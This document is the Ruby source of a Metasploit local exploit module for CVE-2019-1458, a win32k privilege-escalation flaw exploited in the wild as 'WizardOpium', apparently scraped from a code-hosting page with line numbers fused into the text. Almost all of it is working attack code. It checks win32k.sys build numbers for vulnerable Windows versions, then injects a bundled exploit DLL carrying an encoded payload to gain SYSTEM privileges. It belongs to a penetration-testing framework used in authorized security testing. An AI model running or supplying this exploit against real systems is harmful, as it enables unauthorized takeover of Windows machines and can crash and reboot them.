Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/cve_2019_1458_wizardopium.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Post::Windows::Priv11include Msf::Post::Windows::FileInfo12include Msf::Post::Windows::Process13include Msf::Post::Windows::ReflectiveDLLInjection14prepend Msf::Exploit::Remote::AutoCheck1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Microsoft Windows Uninitialized Variable Local Privilege Elevation',21'Description' => %q{22This module exploits CVE-2019-1458, an arbitrary pointer dereference vulnerability23within win32k which occurs due to an uninitalized variable, which allows user mode attackers24to write a limited amount of controlled data to an attacker controlled address25in kernel memory. By utilizing this vulnerability to execute controlled writes26to kernel memory, an attacker can gain arbitrary code execution27as the SYSTEM user.2829This module has been tested against Windows 7 x64 SP1. Offsets within the30exploit code may need to be adjusted to work with other versions of Windows.31The exploit can only be triggered once against the target and can cause the32target machine to reboot when the session is terminated.33},34'License' => MSF_LICENSE,35'Author' => [36'piotrflorczyk', # poc37'unamer', # exploit38'timwr', # msf module39],40'Platform' => 'win',41'SessionTypes' => ['meterpreter'],42'Targets' => [43['Windows 7 x64', { 'Arch' => ARCH_X64 }]44],45'Notes' => {46'Stability' => [ CRASH_OS_RESTARTS ],47'Reliability' => [ UNRELIABLE_SESSION ],48'SideEffects' => [ IOC_IN_LOGS ]49},50'References' => [51['CVE', '2019-1458'],52['URL', 'https://github.com/unamer/CVE-2019-1458'],53['URL', 'https://github.com/piotrflorczyk/cve-2019-1458_POC'],54['URL', 'https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/'],55['URL', 'https://googleprojectzero.blogspot.com/p/rca-cve-2019-1458.html']56],57'DisclosureDate' => '2019-12-10',58'DefaultTarget' => 0,59'AKA' => [ 'WizardOpium' ]60)61)62end6364def check65if session.platform != 'windows'66# Non-Windows systems are definitely not affected.67return CheckCode::Safe68end6970file_path = expand_path('%WINDIR%\\system32\\win32k.sys')71major, minor, build, revision, branch = file_version(file_path)72vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")7374build_num_gemversion = Rex::Version.new("#{major}.#{minor}.#{build}.#{revision}")7576# Build numbers taken from https://www.qualys.com/research/security-alerts/2019-12-10/microsoft/77if (build_num_gemversion >= Rex::Version.new('6.0.6000.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.20692')) # Windows Vista and Windows Server 200878return CheckCode::Appears79elsif (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24540')) # Windows 7 and Windows Server 2008 R280return CheckCode::Appears81elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.22932')) # Windows 8 and Windows Server 201282return CheckCode::Appears83elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.19574')) # Windows 8.1 and Windows Server 2012 R284return CheckCode::Appears85elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.18427')) # Windows 10 v150786return CheckCode::Appears87elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.99999')) # Windows 10 v151188return CheckCode::Appears89elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.3383')) # Windows 10 v160790return CheckCode::Appears91else92return CheckCode::Safe93end94end9596def exploit97if is_system?98fail_with(Failure::None, 'Session is already elevated')99end100101if sysinfo['Architecture'] != ARCH_X64102fail_with(Failure::NoTarget, 'Running against 32-bit systems is not supported')103end104105# invoke the exploit, passing in the address of the payload that106# we want invoked on successful exploitation.107print_status('Triggering the exploit...')108encoded_payload = payload.encoded109execute_dll(110::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2019-1458', 'exploit.dll'),111[encoded_payload.length].pack('I<') + encoded_payload112)113114print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')115end116end117118119